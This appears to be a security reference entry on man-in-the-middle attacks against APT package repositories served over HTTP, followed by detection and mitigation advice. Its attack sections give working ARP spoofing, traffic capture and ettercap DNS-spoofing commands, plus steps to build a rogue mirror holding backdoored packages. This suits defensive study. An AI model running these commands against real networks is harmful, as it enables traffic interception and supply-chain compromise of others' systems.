APT Repository Man-in-the-Middle Attack
Prerequisites
- Network position allowing interception of traffic between the target and the APT repository (e.g., shared Wi-Fi, compromised router, ISP-level access, ARP spoofing)
- The target system must have at least one APT source configured over HTTP (not HTTPS)
- For package replacement: a separate authentication failure, such as trusted=yes, an accepted malicious signing key, or a vulnerable APT implementation
Attack Scenarios
Observing and Disrupting HTTP APT Traffic
An attacker on the same network segment can redirect unencrypted HTTP traffic through their machine, observe requested repository paths, and block or delay downloads. Replacing a signed package causes APT's hash verification to fail unless another authentication weakness is present.
[1][2][3][4][5][6]# Many default installations still use HTTP
grep -r "^deb http://" /etc/apt/sources.list /etc/apt/sources.list.d/
# Common HTTP repos:
# deb http://archive.ubuntu.com/ubuntu/ jammy main
# deb http://security.ubuntu.com/ubuntu/ jammy-security main
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP spoof to intercept traffic from target (192.168.1.100) to gateway (192.168.1.1)
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 &
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 &
tcpdump -ni eth0 'host 192.168.1.100 and tcp port 80'
# Request paths and timing are visible, but signed content remains authenticated.
Rogue Mirror Against an Explicitly Insecure Source
DNS or routing manipulation can redirect an HTTP source to a rogue mirror, but modern APT rejects its unsigned Release metadata by default. The substitution succeeds only when the source is explicitly treated as trusted or insecure, or when the attacker controls an accepted repository signing key.
[1][2][3][4][5][6]# Using ettercap for DNS spoofing
echo "archive.ubuntu.com A 192.168.1.200" >> /etc/ettercap/etter.dns
echo "security.ubuntu.com A 192.168.1.200" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.100// /192.168.1.1//
# Create a partial unsigned mirror for a lab demonstration.
# A correctly configured APT client rejects this repository.
mkdir -p /var/www/ubuntu/dists/jammy/main/binary-amd64/
mkdir -p /var/www/ubuntu/pool/main/
# Copy the trojanized .deb files to pool
cp /tmp/backdoored-packages/*.deb /var/www/ubuntu/pool/main/
# Generate Packages and Release files
cd /var/www/ubuntu
dpkg-scanpackages pool/ /dev/null | gzip > dists/jammy/main/binary-amd64/Packages.gz
apt-ftparchive release dists/jammy/ > dists/jammy/Release
# Start serving
python3 -m http.server 80 --directory /var/www/ubuntu/
Detection
Audit APT sources for HTTP usage
Identify APT sources configured to use unencrypted HTTP. HTTP exposes requests to observation and disruption; APT repository authentication still protects package integrity when signature and freshness checks remain enabled.
[1][2][3][4][5][6]# Find all HTTP (non-HTTPS) APT sources
grep -rn "^deb http://" /etc/apt/sources.list /etc/apt/sources.list.d/ 2>/dev/null
# Count HTTP vs HTTPS sources
echo "HTTP sources:"
grep -rc "^deb http://" /etc/apt/sources.list /etc/apt/sources.list.d/ 2>/dev/null
echo "HTTPS sources:"
grep -rc "^deb https://" /etc/apt/sources.list /etc/apt/sources.list.d/ 2>/dev/null
Detect ARP spoofing and network anomalies
Monitor for ARP spoofing indicators that may signal an active MITM attack on the local network, particularly during apt-get operations.
[1][2][3][4][5][6]# Check for duplicate MAC addresses in ARP table (indicator of ARP spoofing)
arp -a | awk '{print $4}' | sort | uniq -d
# Monitor ARP table changes
arpwatch -i eth0
# Check for unexpected changes in package checksums after download
apt-get download package-name 2>/dev/null && dpkg-deb --info package-name*.deb
Verify package integrity post-download
Confirm that downloaded package hashes match authenticated Packages metadata. APT performs this verification automatically for authenticated repositories; manual comparison can support incident response.
[1][2][3][4][5][6]# Verify package checksums against Release file
apt-get download openssh-server 2>/dev/null
sha256sum openssh-server*.deb
# Compare against the hash in the repo metadata
zcat /var/lib/apt/lists/*_Packages | grep -A5 "Package: openssh-server" | grep SHA256
Mitigation
- Prefer HTTPS sources to add transport confidentiality and reduce exposure to network injection vulnerabilities
- On current APT releases HTTPS support is built in; apt-transport-https is only a transitional package
- Ensure GPG signature verification is enabled and enforced for all repositories (never use trusted=yes with HTTP sources)
- Keep signature and freshness checks enabled, including Check-Valid-Until for repositories that publish valid-until metadata
- Deploy network-level protections against ARP spoofing (dynamic ARP inspection, static ARP entries for critical hosts)
- Use a local APT caching proxy (apt-cacher-ng) with HTTPS upstream to reduce exposure on untrusted networks
- Consider using Tor-based APT transport (apt-transport-tor) for additional anonymity and MITM resistance